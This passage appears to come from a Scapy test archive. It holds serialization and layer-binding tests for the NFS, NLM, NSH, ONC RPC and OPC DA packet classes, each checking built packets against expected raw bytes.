used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), verifier=0xffffffffffffffff, value_follows=1, files=[ File_From_Dir( fileid=1, filename=Object_Name( length=5, _name='file1', fill='\x00\x00\x00' ), cookie=0xaaaaaaaaaaaaaaaa, value_follows=0 ) ], eof=1 ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05file1\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x01' pkt = RENAME_Reply( status=0, af_before_f=1, attributes_before_f=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after_f=1, attributes_after_f=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before_t=1, attributes_before_t=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after_t=1, attributes_after_t=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = LINK_Reply( status=0, af_file=1, file_attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_link_before=1, link_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_link_after=1, link_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = RMDIR_Reply( status=0, af_before=1, attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = READLINK_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), filename=Object_Name( length=4, _name='file' ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x04file' pkt = READ_Reply( status=0, attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), count=8, eof=1, data_length=8, data='\x00\x01\x02\x03\x04\x05\x06\x07' ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x08\x00\x01\x02\x03\x04\x05\x06\x07' pkt = MKDIR_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' pkt = SYMLINK_Reply( status=0, handle_follows=1, filehandle=File_Object( length=4, fh='file' ), attributes_follow=1, attributes=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ), af_before=1, dir_attributes_before=WCC_Attr( size=0xa, mtime_s=0xffffffff, mtime_ns=0xeeeeeeee, ctime_s=0xdddddddd, ctime_ns=0xcccccccc ), af_after=1, dir_attributes_after=Fattr3( type='NF3REG', mode=0o755, nlink=1, uid=2, gid=3, size=0xffffffffffffffff, used=0xaaaaaaaaaaaaaaaa, rdev=[4, 5], fsid=0xbbbbbbbbbbbbbbbb, fileid=0xcccccccccccccccc, atime_s=0xdddddddd, atime_ns=0xeeeeeeee, mtime_s=0xffffffff, mtime_ns=0x11111111, ctime_s=0x22222222, ctime_ns=0x33333333 ) ) assert bytes(pkt) == b'\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04file\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\n\xff\xff\xff\xff\xee\xee\xee\xee\xdd\xdd\xdd\xdd\xcc\xcc\xcc\xcc\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x01\xed\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x04\x00\x00\x00\x05\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xee\xee\xee\xee\xff\xff\xff\xff\x11\x11\x11\x11""""3333' scapy-2.4.4/test/contrib/nlm.uts000066400000000000000000000203021372370053500166040ustar00rootroot00000000000000% Tests for nlm module ############ ############ + Packet creation tests = Create subpackets File_Object() NLM4_Cookie() Object_Name() = Create nlm Calls SHARE_Call() UNSHARE_Call() LOCK_Call() UNLOCK_Call() GRANTED_MSG_Call() GRANTED_RES_Call() CANCEL_Call() TEST_Call() = Create nlm Replies SHARE_Reply() UNSHARE_Reply() LOCK_Reply() UNLOCK_Reply() GRANTED_MSG_Reply() GRANTED_RES_Reply() CANCEL_Reply() TEST_Reply() + Layer bindings tests = RPC Layer Bindings for NLM Calls from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Call()/SHARE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 20) pkt = RPC()/RPC_Call()/UNSHARE_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 21) pkt = RPC()/RPC_Call()/LOCK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 2) pkt = RPC()/RPC_Call()/UNLOCK_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 4) pkt = RPC()/RPC_Call()/GRANTED_MSG_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 10) pkt = RPC()/RPC_Call()/GRANTED_RES_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 15) pkt = RPC()/RPC_Call()/CANCEL_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 3) pkt = RPC()/RPC_Call()/TEST_Call() assert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100021, 4, 1) = RPC Layer Bindings for NLM Replies from scapy.contrib.oncrpc import * pkt = RPC()/RPC_Reply()/SHARE_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/UNSHARE_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/LOCK_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/UNLOCK_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GRANTED_MSG_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/GRANTED_RES_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/CANCEL_Reply() assert pkt.mtype == 1 pkt = RPC()/RPC_Reply()/TEST_Reply() assert pkt.mtype == 1 + Test Built Packets Against Raw Strings = Built NLM Calls vs Raw Strings pkt = SHARE_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), mode=1, access=2, reclaim='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01' pkt = UNSHARE_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), mode=1, access=2, reclaim='YES' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01' pkt = LOCK_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), block='YES', exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3, reclaim=1, state=4 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x04' pkt = UNLOCK_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = GRANTED_MSG_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = GRANTED_RES_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_BLOCKED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x03' pkt = CANCEL_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), block='YES', exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' pkt = TEST_Call( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), exclusive='YES', caller=Object_Name( length=6, _name='CALLER', fill='\x00\x00' ), filehandle=File_Object( length=4, fh='file' ), owner=Object_Name( length=5, _name='OWNER', fill='\x00' ), svid=1, l_offset=2, l_len=3 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06CALLER\x00\x00\x00\x00\x00\x04file\x00\x00\x00\x05OWNER\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03' = NLM Replies vs Raw Strings pkt = SHARE_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED', sequence=1 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01' pkt = UNSHARE_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED', sequence=1 ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01' pkt = LOCK_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = UNLOCK_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = CANCEL_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' pkt = TEST_Reply( cookie=NLM4_Cookie( length=6, contents='COOKIE', fill='\x00\x00' ), status='NLM4_DENIED' ) assert bytes(pkt) == b'\x00\x00\x00\x06COOKIE\x00\x00\x00\x00\x00\x01' scapy-2.4.4/test/contrib/nsh.uts000066400000000000000000000036631372370053500166210ustar00rootroot00000000000000+ Basic Layer Tests = Build a NSH over NSH packet with SPI=42, and SI=1 raw(NSH(spi=42, si=1)/NSH()) == b'\x0f\xc6\x01\x04\x00\x00*\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Build a NSH with Fixed context headers raw(NSH(ttl=25, spi=55, si=34, context_header=b"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff")) == b'\x06F\x01\x03\x00\x007"\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\xff\xff\xff\xff' = Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x89O\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Build a NSH over GRE packet, and verify GRE Bindings raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/IP(src="1.1.1.1", dst="2.2.2.2")/GRE()/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x08\x00E\x00\x00Z\x00\x01\x00\x00@/to\x01\x01\x01\x01\x02\x02\x02\x02\x00\x00\x89O\x0f\xc6\x01\x03\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = 0 length variable length context header NSH raw(NSH(mdtype=2, spi=0xF0F0F0, si=0xFF)) == b'\x0f\xc2\x02\x03\xf0\xf0\xf0\xff' scapy-2.4.4/test/contrib/oncrpc.uts000066400000000000000000000040761372370053500173140ustar00rootroot00000000000000% Tests for oncrpc module ############ ############ + Packet Creation Tests = Create subpackets Object_Name() Auth_Unix() = Create ONC RPC Packets RM_Header() RPC() RPC_Call() RPC_Reply() + Test Layer bindings = RPC Message type pkt = RPC()/RPC_Call() assert(pkt.mtype==0) pkt = RPC()/RPC_Reply() assert(pkt.mtype==1) + Test Built Packets vs Raw Strings = Test Built Packets vs Raw Strings pkt = RM_Header( rm=0x80000000 ) assert bytes(pkt) == b'\x80\x00\x00\x00' pkt = RPC( xid=0xabcdef12, mtype='CALL' ) assert bytes(pkt) == b'\xab\xcd\xef\x12\x00\x00\x00\x00' pkt = RPC_Call( version=2, program=100005, pversion=3, procedure=1, aflavor='AUTH_UNIX', a_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ), vflavor=1, v_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ) ) assert bytes(pkt) == b'\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00 \xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00' pkt = RPC_Reply( reply_stat=1, flavor=1, a_unix=Auth_Unix( stamp=0xffffffff, mname=Object_Name( length=5, _name='MNAME', fill='\x00\x00\x00' ), uid=1, gid=1, num_auxgids=1, auxgids=[0] ), length=32, accept_stat=1 ) assert bytes(pkt) == b'\x00\x00\x00\x01\x00\x00\x00\x01\xff\xff\xff\xff\x00\x00\x00\x05MNAME\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x01' scapy-2.4.4/test/contrib/opc_da.uts000066400000000000000000000162321372370053500172520ustar00rootroot00000000000000% Scapy OPC DA layer tests + Test Request Packet = OpcDaRequest opcdaRequestPacket_Dissect = hex_bytes(b'050000830000000000640000000000150000003c000600050000c41d0a9c0000d7028c761299f7bf00000000') elem1 = raw(OpcDaMessage(opcdaRequestPacket_Dissect)) opcdaRequestPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \ pfc_flags = 131,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ 